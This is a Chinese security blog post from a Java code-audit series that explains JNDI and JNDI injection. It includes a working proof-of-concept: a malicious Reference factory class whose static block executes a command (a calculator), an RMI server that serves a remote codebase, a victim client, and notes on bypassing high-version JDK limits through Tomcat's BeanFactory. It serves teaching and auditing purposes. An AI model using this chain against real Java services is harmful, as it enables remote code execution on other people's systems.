Java代码审计系列之 JNDI注入

最新推荐文章于 2024-05-01 19:17:00 发布

风炫安全

最新推荐文章于 2024-05-01 19:17:00 发布

阅读量1.4k

点赞数 2

分类专栏：代码审计 Java 文章标签： java 代码审计

本文链接：https://blog.csdn.net/hyj123480/article/details/117698137

版权

代码审计同时被 2 个专栏收录

3 篇文章 0 订阅

订阅专栏

Java

2 篇文章 0 订阅

订阅专栏

Java代码审计系列之 JNDI注入

0x01 前言

在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、JRMP这些概念，其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口，它和反序列化漏洞有着千丝万缕的联系。除了直接攻击RMI服务接口外（比如：CVE-2017-3241），我们在构造反序列化漏洞利用时也可以结合RMI方便的实现远程代码执行。

我们在之前的课程中说到过动态类的加载，而jndi注入就是利用动态类的加载来完成攻击的，在这之前，我们先来了解一下jndi注入的基础知识

0x02 啥是jndi

JNDI是 Java 命名与目录接口（Java Naming and Directory Interface），在J2EE规范中是重要的规范之一，有不少大佬可能认为，没有透彻理解JNDI的意义和作用，就没有真正掌握J2EE特别是EJB的知识。

我们来举个常规的JDBC的例子

Connection jdbcconn=null; 
try { 
	Class.forName("com.mysql.jdbc.Driver"); 
	jdbcconn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=xxx&password=xxx"); 
	...... 
	jdbcconn.close(); 
} catch(Exception e) { 
	e.printStackTrace(); 
} finally { 
	if(jdbcconn!=null) { 
		try { 
			jdbcconn.close(); 
		} catch(SQLException e) {
      
    } 
}

这是常规的链接数据库的例子，也是其他语言程序员的常见做法。

优点

无可厚非这种方法在小规模的开发过程中不会有任何影响，只要程序员熟悉Java和Mysql，就可以很快开发出相应的程序。

缺点

1、数据库服务器地址和名称、用户名和口令都可能需要改变，由此引发JDBC URL需要修改；
2、数据库可能改用别的产品，如改用DB2或者Oracle，引发JDBC驱动程序包和类名需要修改；
3、随着实际使用终端的增加，原配置的连接池参数可能需要调整；

如何解决

在对于Java这种强抽象模式的编程语言来说，肯定不会允许这么LowB的存在，程序员不应该关注后台的数据库是啥，版本是多少。所以为了统一化管理，就诞生了JNDI

0x03 使用JNDI

在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向，而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大，但是有了jndi这一层，我们就可以用jndi的方式来轻松访问rmi或者ldap服务，这样访问不同的服务的代码实现基本是一样的。

代码实现

JNDI中有绑定和查找的方法：

- bind：将第一个参数绑定到第二个参数的对象上面
- lookup：通过提供的名称查找对象

我们来举个例子：

IHello.java

package com.evalshell.jndi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String SayHello(String name) throws RemoteException;
}

IHelloImpl.java

package com.evalshell.jndi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    public IHelloImpl() throws RemoteException {
        super();
    }

    @Override
    public String SayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

CallService.java


package com.evalshell.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

        Context ctx = new InitialContext(env);

        Registry registry = LocateRegistry.createRegistry(1099);

        IHello hello = new IHelloImpl();

        registry.bind("hello", hello);

        IHello rhello = (IHello) ctx.lookup("rmi://localhost:1099/hello");

        System.out.println(rhello.SayHello("fengxuan"));
    }
}

由于上面的代码将服务端与客户端写到了一起，所以看着不那么清晰，我看到很多文章里吧JNDI工厂初始化这一步操作划分到了服务端，我觉得是错误的，配置jndi工厂与jndi的url和端口应该是客户端的事情。

可以对比一下前几章的rmi demo与这里的jndi demo访问远程对象的区别，加深理解

JNDI注入

注入的原理

我们来到JNDI注入的核心部分，关于JNDI注入，@pwntester在BlackHat上的讲义中写的已经很详细。我们这里重点讲一下和RMI反序列化相关的部分。接触过JNDI注入的同学可能会疑问，不应该是RMI服务器最终执行远程方法吗，为什么目标服务器lookup()一个恶意的RMI服务地址，会被执行恶意代码呢？

在JNDI服务中，RMI服务端除了直接绑定远程对象之外，还可以通过References类来绑定一个外部的远程对象（当前名称目录系统之外的对象）。绑定了Reference之后，服务端会先通过Referenceable.getReference()获取绑定对象的引用，并且在目录中保存。当客户端在lookup()查找这个远程对象时，客户端会获取相应的object factory，最终通过factory类将reference转换为具体的对象实例。

整个利用流程如下：

目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；
攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；
攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；

在这里，攻击目标扮演的相当于是JNDI客户端的角色，攻击者通过搭建一个恶意的RMI服务端来实施攻击。我们跟入lookup()函数的代码中，可以看到JNDI中对Reference类的处理逻辑，最终会调用NamingManager.getObjectInstance()：

实战案例

首先创建一个恶意的对象

package com.evalshell.jndi;

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

public class BadObject {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while((lineStr = inBr.readLine()) != null){
            sb += lineStr+"\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
        return null;
    }

    static {
        try{
            exec("gnome-calculator");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

}

可以看到这里利用的是static代码块执行命令

创建rmi服务端，绑定恶意的Reference到rmi注册表

package com.evalshell.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1100);
        String url = "http://127.0.0.1:7777/";
        System.out.println("Create RMI registry on port 1100");
        Reference reference = new Reference("EvilObj", "EvilObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }

}

创建一个客户端（受害者）
```
package com.evalshell.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://localhost:1100/evil");
    }
}
```
可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。

然后先编译该项目，生成class文件，然后在class文件目录下用python启动一个简单的HTTP Server:

python -m SimpleHTTPServer 7777

执行上述命令就会在7777端口、当前目录下运行一个HTTP Server：

然后运行Server端，启动rmi registry服务

如果是JDK1.7的版本，就可以运行成功

JDK1.8 最后运行报错

而此时使用JNDI Server返回恶意Reference是可以成功利用的，因为JDK 8u191以后才对LDAP JNDI Reference进行了限制。

Tips: 测试过程中有个细节，我们在JDK 8u102中使用RMI Server + JNDI Reference可以成功利用，而此时我们手工将 com.sun.jndi.rmi.object.trustURLCodebase 等属性设置为false，并不会如预期一样有高版本JDK的限制效果出现，Payload依然可以利用。

绕过高版本JDK限制：利用本地Class作为Reference Factory

在高版本中（如：JDK8u191以上版本）虽然不能从远程加载恶意的Factory，但是我们依然可以在返回的Reference中指定Factory Class，这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口，并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中，所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。

风炫安全

关注

2
点赞
踩
3

收藏

觉得还不错? 一键收藏
1
评论
Java代码审计系列之 JNDI注入

Java代码审计系列之 JNDI注入0x01 前言在Java反序列化漏洞挖掘或利用的时候经常会遇到RMI、JNDI、JRMP这些概念，其中RMI是一个基于序列化的Java远程方法调用机制。作为一个常见的反序列化入口，它和反序列化漏洞有着千丝万缕的联系。除了直接攻击RMI服务接口外（比如：CVE-2017-3241），我们在构造反序列化漏洞利用时也可以结合RMI方便的实现远程代码执行。我们在之前的课程中说到过动态类的加载，而jndi注入就是利用动态类的加载来完成攻击的，在这之前，我们先来了解一下jndi
复制链接

扫一扫